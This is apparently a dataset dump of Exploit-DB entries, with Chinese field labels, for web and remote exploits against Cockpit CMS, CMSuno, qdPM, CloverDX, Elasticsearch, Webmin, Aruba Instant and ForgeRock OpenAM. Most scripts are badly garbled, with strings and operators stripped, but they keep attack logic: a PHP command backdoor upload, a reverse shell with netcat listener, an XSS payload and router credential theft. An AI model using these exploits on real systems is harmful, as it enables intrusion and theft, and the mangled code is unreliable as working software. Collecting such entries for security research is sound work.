QLWD/code_shield huggingface dataset:
标题: Cockpit CMS 0.11.1 - 'Username Enumeration & Password Reset' NoSQL Injection EDB-ID: 50185 CVE: 2020-35848 2020-35847 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-08-10 漏洞利用脚本: # Exploit Title: Cockpit CMS 0.11.1 - 'Username Enumeration & Password Reset' NoSQL Injection 
# Date: 06-08-2021
# Exploit Author: Brian Ombongi
# Vendor Homepage: https://getcockpit.com/
# Version: Cockpit 0.11.1
# Tested on: Ubuntu 16.04.7
# CVE : CVE-2020-35847 & CVE-2020-35848

#!/usr/bin/python3
import json
import re
import requests
import random
 string
 argparse


 
    guide  
     guide

 
    parse  argparseArgumentParserusageusage
    parseadd_argument dest   required
     parseparse_args

 url
 
  get  requestsgeturl
   getstatus_code  
   f
  
   f
  requestsexceptionsRequestException  e
   SystemExitf


 url
    
    url  url  
    headers  
         
    
    data 
    req  requestsposturl datajsondumpsdata headersheaders
    patternrer reI
    matches  patternfindallreqcontentdecode
     matches
           matches
         matches
    
        

 usernames
    user  
     user   usernames
        
        exit
    
         user


 url
    
    url  url  
    headers  
         
        
    data 
    req  requestsposturl datajsondumpsdata headersheaders
    patternrer reI
    matches  patternfindallreqcontentdecode
     matches
           matches
         matches
    
        


 url token
    
    url  url  
    headers  
         
        
    userAndtoken  
     t  token
        data t
        req  requestsposturl datajsondumpsdata headersheaders
        patternrer reI
        matches  patternfinditerreqcontentdecode
         match  matches
            matches  jsonloadsmatchgroup
             matches
                 
                 key value  matchesitems
                    
                      key  value       
            
                
            user  matches
            token  matches
            userAndtokenuser  token
            
            
     userAndtoken

 url token user
     user
    characters  stringascii_letters  stringdigits  stringpunctuation 
    password  joinrandomchoicecharacters  i  
    url  url  
    headers  
         
        
    data token password
    req  requestsposturl datajsondumpsdata headersheaders
       reqcontentdecode
        
          user user password

 url user
    url  url  
    headers  
         
        
    data user
    req  requestsposturl datajsondumpsdata headersheaders
    
 question   
    reply  
     reply     
        reply  flower
         reply  
             
         reply  
             
        
             

 details user url
     key  details
         key  user
            password_reseturl detailskey key
        
            



 __name__  
    args  arguments
    url  argsurl
    test_connectionurl
    user  check_userenumerate_usersurl
    generate_tokenurl user
    tokens  reset_tokensurl
    details  user_detailsurl tokens
    
    b  confirm_prompt user
     b
        pw_reset_triggerdetails user url
    
        
        exit URL: https://www.exploit-db.com/exploits/50185
标题: CMSuno 1.7 - 'tgo' Stored Cross-Site Scripting (XSS) (Authenticated) EDB-ID: 50179 CVE: 2021-36654 类型: WEBAPPS 平台: PHP 发布日期: 2021-08-05 漏洞利用脚本: # Exploit Title: CMSuno 1.7 - 'tgo' Stored Cross-Site Scripting (XSS) (Authenticated)
# Date: 03-08-2021
# Exploit Author: splint3rsec
# Vendor Homepage: https://github.com/boiteasite
# Software Link: https://github.com/boiteasite/cmsuno
# Affected Version(s): CMSuno 1.7 (and prior)
# CVE : CVE-2021-36654

CMSuno version 1.7 and prior is vulnerable to a stored cross-site scripting.

The attacker must be authenticated to exploit the vulnerability.

The payload injection is done while updating the template's image filename, vulnerable parameter is *tgo*

Steps to reproduce:

1. Go to /uno.php and click on *plugins*
2. Click on *Logo*
3. Choose a random picture in your files repo, click on save and intercept the request
4. Edit the POST request to /uno/template/uno1/uno1.php by modifying the tgo parameter's value to ")}</style><script>VULN JS CODE HERE</script>
5. Forward the request and click on *publish*
6. Click on *See the website*
7. XSS URL: https://www.exploit-db.com/exploits/50179
标题: qdPM 9.1 - Remote Code Execution (Authenticated) EDB-ID: 50175 CVE: 2020-7246 类型: WEBAPPS 平台: PHP 发布日期: 2021-08-04 漏洞利用脚本: # Exploit Title: qdPM 9.1 - Remote Code Execution (RCE) (Authenticated)
# Google Dork: intitle:qdPM 9.1. Copyright © 2020 qdpm.net
# Date: 2021-08-03
# Original Exploit Author: Rishal Dwivedi (Loginsoft)
# Original ExploitDB ID: 47954
# Exploit Author: Leon Trappett (thepcn3rd)
# Vendor Homepage: http://qdpm.net/
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: <=1.9.1
# Tested on: Ubuntu Server 20.04 (Python 3.9.2)
# CVE : CVE-2020-7246
# Exploit written in Python 3.9.2
# Tested Environment - Ubuntu Server 20.04 LTS
# Path Traversal + Remote Code Execution



 sys
 requests
 lxml  html
 argparse  ArgumentParser

session_requests  requestssession

 userid username csrftoken_ EMAIL HOSTNAME uservar
    request_1  
          
          userid
          uservar
          csrftoken_
          username
          
          EMAIL
          
          
        
     request_1


 userid username csrftoken_ EMAIL HOSTNAME
    request_1  multifrmuserid username csrftoken_ EMAIL HOSTNAME

    new  session_requestspostHOSTNAME  
filesrequest_1
    request_2  multifrmuserid username csrftoken_ EMAIL HOSTNAME

    new1  session_requestspostHOSTNAME  
filesrequest_2
    request_3  
          
          userid
          
          csrftoken_
          username
          
          EMAIL
          
         
                         '?php isset$_REQUEST\'cmd\' echo
 $cmd  $_REQUEST\
                          
        
    upload_req  session_requestspostHOSTNAME 
 filesrequest_3


 HOSTNAME EMAIL PASSWORD
    url  HOSTNAME  
    result  session_requestsgeturl
    
    login_tree  htmlfromstringresulttext
    authenticity_token 
login_treexpath
    payload   EMAIL  PASSWORD
 authenticity_token
    result  session_requestspostHOSTNAME  
datapayload headersrefererHOSTNAME  
    
    account_page  session_requestsgetHOSTNAME  
    account_tree  htmlfromstringaccount_pagecontent
    userid  account_treexpath
    username  account_treexpath
    csrftoken_ 
account_treexpath
    requserid username csrftoken_ EMAIL HOSTNAME
    get_file  session_requestsgetHOSTNAME  
    final_tree  htmlfromstringget_filecontent
    backdoor 
final_treexpath
      HOSTNAME   
backdoor  


 __name__  
    "You are  able to use the designated admin account because
they do  have a myAccount page\n"
    parser  ArgumentParserdescription'qdmp  Path traversal  RCE
Exploit'
    parseradd_argument  dest 'Project
URL'
    parseradd_argument  dest 'User email
Any privilege account'
    parseradd_argument  dest 'User
password'
    args  parserparse_args
    
display the arguments
      sysargv    argshostname  
argsemail   argspassword 
            mainargshostname argsemail argspassword
    
        parserprint_help URL: https://www.exploit-db.com/exploits/50175
标题: CloverDX 5.9.0 - Cross-Site Request Forgery (CSRF) EDB-ID: 50166 CVE: 2021-29995 类型: WEBAPPS 平台: JAVA 发布日期: 2021-07-29 漏洞利用脚本: # Exploit Title: CloverDX 5.9.0 - Cross-Site Request Forgery (CSRF) to Remote Code Execution (RCE)
# Date: 14.04.2021
# Exploit Author: niebardzo
# Vendor Homepage: https://www.cloverdx.com/
# Software Link: https://github.com/cloverdx/cloverdx-server-docker
# Version: 5.9.0, 5.8.1, 5.8.0, 5.7.0, 5.6.x, 5.5.x, 5.4.x
# Tested on: Docker image - https://github.com/cloverdx/cloverdx-server-docker
# CVE : CVE-2021-29995

# Replace the target, payload and port to host the exploitation server. Exploit requires, inbound connection to CloverDX
# Victim authenticated to CloverDX and the java to run the ViewStateCracker.java.
# Reference for cracking ViewState:
# https://jazzy.id.au/2010/09/20/cracking_random_number_generators_part_1.html
# https://blog.securityevaluators.com/cracking-javas-rng-for-csrf-ea9cacd231d2 
#


 httpserver
 socketserver
 requests
 urllibparse  urlparse
 urllibparse  parse_qs
 bs4  BeautifulSoup
 subprocess
 sys
 json


 httpserverSimpleHTTPRequestHandler
  self
  selfsend_response
  selfsend_header 
  selfend_headers
  
  
  target  

  query_comp  parse_qsurlparseselfpathquery
     query_comp
   target  query_comp
  
  req  requestsgettarget

   reqstatus_code  
   sysexit

  
  soup  BeautifulSoupreqtext 
  cur_view_state  soupfind  

  
  new_view_state  subprocesscheck_output  cur_view_state
  new_view_state  new_view_statedecodestrip
  new_view_state
   new_view_state  
   html  
    
  
   html  
    
    
    
    
    
    
    
    
    target
     
    target 
     
     
     
     
    
    
    new_view_statereplace 
    
    target 
     
     
     
     
    
    
    
     
    
     
    new_view_statereplace 
    
    target 
     
     
     
     
     
     
     
     
     
    
   
   
   
    &
     
     
     
    new_view_statereplace 
    
    
    
    
    
    

  selfwfilewritehtml


base64_enc_viewstatecracker  





   f
    fwriteb64decodebase64_enc_viewstatecracker decode


exploit_handler  ExploitHandler

PORT  

exploit_server  socketserverTCPServer PORT exploit_handler

exploit_serverserve_forever URL: https://www.exploit-db.com/exploits/50166
标题: ElasticSearch 7.13.3 - Memory disclosure EDB-ID: 50149 CVE: 2021-22145 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-07-23 漏洞利用脚本: # Exploit Title: ElasticSearch 7.13.3 - Memory disclosure 
# Date: 21/07/2021
# Exploit Author: r0ny
# Vendor Homepage: https://www.elastic.co/
# Software Link: https://github.com/elastic/elasticsearch
# Version: 7.10.0 to 7.13.3
# Tested on: Kali Linux
# CVE : CVE-2021-22145

#/usr/bin/python3

from argparse import ArgumentParser
import requests
from packaging import version
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requestspackagesurllib3disable_warningsInsecureRequestWarning

)


)
parser  ArgumentParser
parseradd_argument  dest 
parseradd_argument  dest  metavar default
parseradd_argument  dest  default
args  parserparse_args

  argsurl
    parsererror


authorization_header   
argsapi_key  argsbasic
    authorization_header    argsapi_key  argsapi_key    argsbasic


r  requestsgetargsurlheadersauthorization_header verify

 es_version  jsonloadsrcontent

   argsurl  
   rcontent
 exit

 versionparsees_version  versionparse  versionparsees_version  versionparse
 
   es_version 
   
 exit


payload  
vulnerable_endpoint  
url  argsurl  vulnerable_endpoint


  es_version
  url
r  requestsposturl data  payload headers authorization_header verify






response  jsonloadsrcontent
leak1  responsesplitsplit
leak2  responsesplitsplit
leak1leak2 URL: https://www.exploit-db.com/exploits/50149
标题: Elasticsearch ECE 7.13.3 - Anonymous Database Dump EDB-ID: 50152 CVE: 2021-22146 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-07-26 漏洞利用脚本: # Exploit Title: Elasticsearch ECE 7.13.3 - Anonymous Database Dump
# Date: 2021-07-21
# Exploit Author: Joan Martinez @magichk
# Vendor Homepage: https://www.elastic.co/
# Software Link: https://www.elastic.co/
# Version: >= 7.10.0 to <= 7.13.3
# Tested on: Elastic ECE (Cloud)
# CVE : CVE-2021-22146
# Reference: https://discuss.elastic.co/t/elastic-cloud-enterprise-security-update/279180 

import os
import argparse
import sys

######### Check Arguments
 
 parser  argparseArgumentParser
 parser  argparseArgumentParserdescription
 parseradd_argument  action
      dest
                     
 parseradd_argument  action
      dest
                     
 parseradd_argument  action
      dest
                     


 args  parserparse_args
  sysargv  argshost  argsport  argsindex  argdump 
  parserprint_helpsysstderr
  sysexit
  args

 
    
    
    
    
    
    



 hostportindex

  index  
     final  index
 
     final  

 cont  
  cont  final
  ossystemhostportcont
  cont  cont  

 __name__  

 banner
 args  checkArgs
  argsindex
     exploitargshostargsportargsindex
 
     exploitargshostargsport URL: https://www.exploit-db.com/exploits/50152
标题: Webmin 1.973 - 'run.cgi' Cross-Site Request Forgery (CSRF) EDB-ID: 50144 CVE: 2021-31761 类型: WEBAPPS 平台: LINUX 发布日期: 2021-07-20 漏洞利用脚本: # Exploit Title: Webmin 1.973 - 'run.cgi' Cross-Site Request Forgery (CSRF)
# Date: 24/04/2021
# Exploit Author: Mesh3l_911 & Z0ldyck
# Vendor Homepage: https://www.webmin.com
# Repo Link: https://github.com/Mesh3l911/CVE-2021-31761
# Version: Webmin 1.973
# Tested on: All versions <= 1.973
# CVE: CVE-2021-31761
# Description: Exploiting a Reflected Cross-Site Scripting (XSS) attack to
# get a Remote Command Execution (RCE) through the Webmin's running process
# feature

import time, subprocess,random,urllib.parse




 i  
    
        
            i  end
    timesleep


target  
    

 targetendswith
    target  target  

    target  target  

ip  

port  

ReverseShell   \


file_name  randomrandrange

 ReverseShell  
    ReverseShell  file_nameipportfile_namefile_namefile_name

 ReverseShell  
    ReverseShell    ip    port  

 ReverseShell  
    ReverseShell    ip    port  

 ReverseShell  
    ReverseShell    ip    port  

 ReverseShell  
    ReverseShell    ip    port  


    


 
    Payload  urllibparsequote  ReverseShell  

    

    targetPayload

 
    
    subprocessrun port


 
    CSRF_Generator
    Netcat_listener


 __name__  
    main URL: https://www.exploit-db.com/exploits/50144
标题: Aruba Instant 8.7.1.0 - Arbitrary File Modification EDB-ID: 50133 CVE: 2021-25155 类型: REMOTE 平台: HARDWARE 发布日期: 2021-07-16 漏洞利用脚本: # Exploit Title: Aruba Instant 8.7.1.0 - Arbitrary File Modification
# Date: 15/07/2021
# Exploit Author: Gr33nh4t
# Vendor Homepage: https://www.arubanetworks.com/
# Version:
# Aruba Instant 6.4.x: 6.4.4.8-4.2.4.17 and below
# Aruba Instant 6.5.x: 6.5.4.18 and below
# Aruba Instant 8.3.x: 8.3.0.14 and below
# Aruba Instant 8.5.x: 8.5.0.11 and below
# Aruba Instant 8.6.x: 8.6.0.6 and below
# Aruba Instant 8.7.x: 8.7.1.0 and below
# Tested on: Aruba Instant
# CVE : CVE-2021-25155

import socket
import sys
 struct
 time
 threading
 urllib3
 re
 telnetlib
 xmletreeElementTree  ET
 requests

urllib3disable_warnings

CONTINUE_RACE  
SNPRINTF_CREATEFILE_MAX_LENGTH  


 ip

     CONTINUE_RACE

    payload  b
    payload  b
    payload  b
    payload  b
    payload  b
    payload  b
    payload  b
    payload  b
    payload  b
    payload  b
    payload  b
    payload  b
    payload  b    
    text_to_send  
     i  
        text_to_send  structpack i  

    packet  payload  text_to_send

     CONTINUE_RACE
        s  socketsocketsocketAF_INET socketSOCK_DGRAM
        sconnectip 
        ssendpacket
        sclose
        timesleep


 text
    res  research text
    res  ressplit
     res res


 ip username password
    login_data  
             
             username
             password
             
    
    res  requestspostip datalogin_data verify

    root  ETfromstringrestext
     rootfindtext


 ip sid
    request_data  ipip sidsid
    res  requestspostip datarequest_data verify
       restext
        
         
    
        
         


 command
    base_payload  
    cmd_len  command
    padding_len  SNPRINTF_CREATEFILE_MAX_LENGTH  cmd_len  base_payload    
     padding_len  
        padding_len
        exit
     base_payload    padding_len      command    


 ip command
    upload_id  prepare_upload_idcommand
    requestspostip data     upload_id   files  verify


 ip command
    
    command  commandreplace 
    command  commandreplace 
    s  requestsSession
    req  requestsRequest ip command
    prep  reqprepare
    response  ssendprep verify
     responsetext

 command
    command  commandreplace 
    command  commandreplace 
    command  commandreplace 
    command  commandreplace 
    final_command  command
     final_command

 router_ip
    
     telnetlibTelnetrouter_ip   tn
        tnwriteb
        tninteract


 

     CONTINUE_RACE

    ip  sysargv

    
    papi_thread  threadingThreadtargetrace_papi_message argsip 
    papi_threadstart

     CONTINUE_RACE
        timesleep
        res  requestsgetip timeout verify
           restext
            
            CONTINUE_RACE  

    file_content  refindall restext reS
    user password  find_credentialsfile_content

    user password
    sid  loginip user password
    sid

    command  
    final_command  build_commandcommand

      create_directoryip sid
        

    
    create_fileip final_command
    run_commandip final_command
    timesleep 
    telnet_connectip


 __name__  
    main URL: https://www.exploit-db.com/exploits/50133
标题: Aruba Instant (IAP) - Remote Code Execution EDB-ID: 50136 CVE: 2021-25162 2021-25161 2021-25160 2021-25159 2021-25158 2021-25157 2021-25156 2021-25155 类型: REMOTE 平台: CGI 发布日期: 2021-07-15 漏洞利用脚本: import socket
import sys
import struct
import time
import threading
import urllib3
import re
 telnetlib
 xmletreeElementTree  ET
 requests

urllib3disable_warnings

CONTINUE_RACE  
SNPRINTF_CREATEFILE_MAX_LENGTH  


 ip

     CONTINUE_RACE

    payload  b
    payload  b
    payload  b
    payload  b
    payload  b
    payload  b
    payload  b
    payload  b
    payload  b
    payload  b
    payload  b
    payload  b
    payload  b    
    text_to_send  
     i  
        text_to_send  structpack i  

    packet  payload  text_to_send

     CONTINUE_RACE
        s  socketsocketsocketAF_INET socketSOCK_DGRAM
        sconnectip 
        ssendpacket
        sclose
        timesleep


 text
    res  research text
    res  ressplit
     res res


 ip username password
    login_data  
             
             username
             password
             
    
    res  requestspostip datalogin_data verify

    root  ETfromstringrestext
     rootfindtext


 ip sid
    request_data  ipip sidsid
    res  requestspostip datarequest_data verify
       restext
        
         
    
        
         


 command
    base_payload  
    cmd_len  command
    padding_len  SNPRINTF_CREATEFILE_MAX_LENGTH  cmd_len  base_payload    
     padding_len  
        padding_len
        exit
     base_payload    padding_len      command    


 ip command
    upload_id  prepare_upload_idcommand
    requestspostip data     upload_id   files  verify


 ip command
    
    command  commandreplace 
    command  commandreplace 
    s  requestsSession
    req  requestsRequest ip command
    prep  reqprepare
    response  ssendprep verify
     responsetext

 command
    command  commandreplace 
    command  commandreplace 
    command  commandreplace 
    command  commandreplace 
    final_command  command
     final_command

 router_ip
    
     telnetlibTelnetrouter_ip   tn
        tnwriteb
        tninteract


 

     CONTINUE_RACE

    ip  sysargv

    
    papi_thread  threadingThreadtargetrace_papi_message argsip 
    papi_threadstart

     CONTINUE_RACE
        timesleep
        res  requestsgetip timeout verify
           restext
            
            CONTINUE_RACE  

    file_content  refindall restext reS
    user password  find_credentialsfile_content

    user password
    sid  loginip user password
    sid

    command  
    final_command  build_commandcommand

      create_directoryip sid
        

    
    create_fileip final_command
    run_commandip final_command
    timesleep 
    telnet_connectip


 __name__  
    main URL: https://www.exploit-db.com/exploits/50136
标题: ForgeRock Access Manager 14.6.3 - Remote Code Execution (RCE) (Unauthenticated) EDB-ID: 50131 CVE: 2021-35464 类型: WEBAPPS 平台: JAVA 发布日期: 2021-07-16 漏洞利用脚本: # Exploit Title: ForgeRock Access Manager/OpenAM 14.6.3 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 2021-07-14
# Exploit Author: Photubias – tijl[dot]deneut[at]Howest[dot]be for www.ic4.be
# Vendor Advisory: [1] https://backstage.forgerock.com/knowledge/kb/article/a47894244
# Vendor Homepage: https://github.com/OpenIdentityPlatform/OpenAM/
# Version: [1] OpenAM 14.6.3
#          [2] Forgerock 6.0.0.x and all versions of 6.5, up to and including 6.5.3, and is fixed as of version AM 7 released on June 29, 2021
# Tested on: OpenAM 14.6.3 and Tomcat/8.5.68 with JDK-8u292 on Debian 10
# CVE: CVE-2021-35464

#!/usr/bin/env python3



 urllibrequest urllibparse ssl sys optparse


sURL  
sEndpoint  
sEndpoint   
iTimeout  
strSerializedPayload  b


ssl_create_default_https_context  ssl_create_unverified_context

 options args
     args sHost  args
    
        sHost  sURL
         sHost   sHost  sURL
      sHost   sHost  
      sHostlower   sHost    sHost
     optionscommand sCMD  optionscommand
     sCMD  
     optionsproxy sProxy  optionsproxy
     sProxy  
     sHost sCMD sProxy

 oOpener sHost sProxy
     sURL
        oRequest  urllibrequestRequestsURL
         sProxy oRequestset_proxysProxy 
         oResponse  oOpeneroRequest timeout  iTimeout
          
         oResponsecode  
               oResponsereaddecodeerrors
                  sURL
                 
         
    
     testEndpointsHost  sEndpoint  sHost  sEndpoint
     testEndpointsHost    sEndpoint  sHost    sEndpoint
     testEndpointsHost    sEndpoint  sHost    sEndpoint
     testEndpointsHost    sHost  
     testEndpointsHost    sHost  
      

 oOpener sURL sProxy
    oResponse  runCmdoOpener sURL sProxy 
    
    bResp   
     oResponsereadintobResp
     
    
       bRespdecode  
      

 oOpener sURL sProxy sCMD
    oResponse  runCmdoOpener sURL sProxy sCMD
    
    bResp  
     oResponsereadintobResp
       
    sResp  bRespsplitbdecode
    sResp

 oOpener sURL sProxy sCMD
    oData  b  strSerializedPayload
    oHeaders    sCMD
    oRequest  urllibrequestRequesturl  sURL headers  oHeaders data  oData
     sProxy oRequestset_proxysProxy 
     oOpeneroRequest timeout  iTimeout

 
    usage  
        
        
        
        
        

    parser  optparseOptionParserusageusage
    parseradd_option  dest 
    parseradd_option  dest 
    
    
    options args  parserparse_args
    sHost sCMD sProxy  checkParamsoptions args
    
    
      sHost
    oOpener  urllibrequestbuild_opener
    oRequest  urllibrequestRequestsHost
     sProxy oRequestset_proxysProxy 
     oResponse  oOpeneroRequest timeout  iTimeout
     urlliberrorHTTPError 
     sysexit  sHost  
      sHost  

    
    
    sEndpoint  findEndpointoOpener sHost sProxy
     sEndpoint   sysexit

    
     testVulnoOpener sEndpoint sProxy   sHost  
     sysexit
     sCMD
          sCMD  
        runVulnoOpener sEndpoint sProxy sCMD
     

 __name__  
    main URL: https://www.exploit-db.com/exploits/50131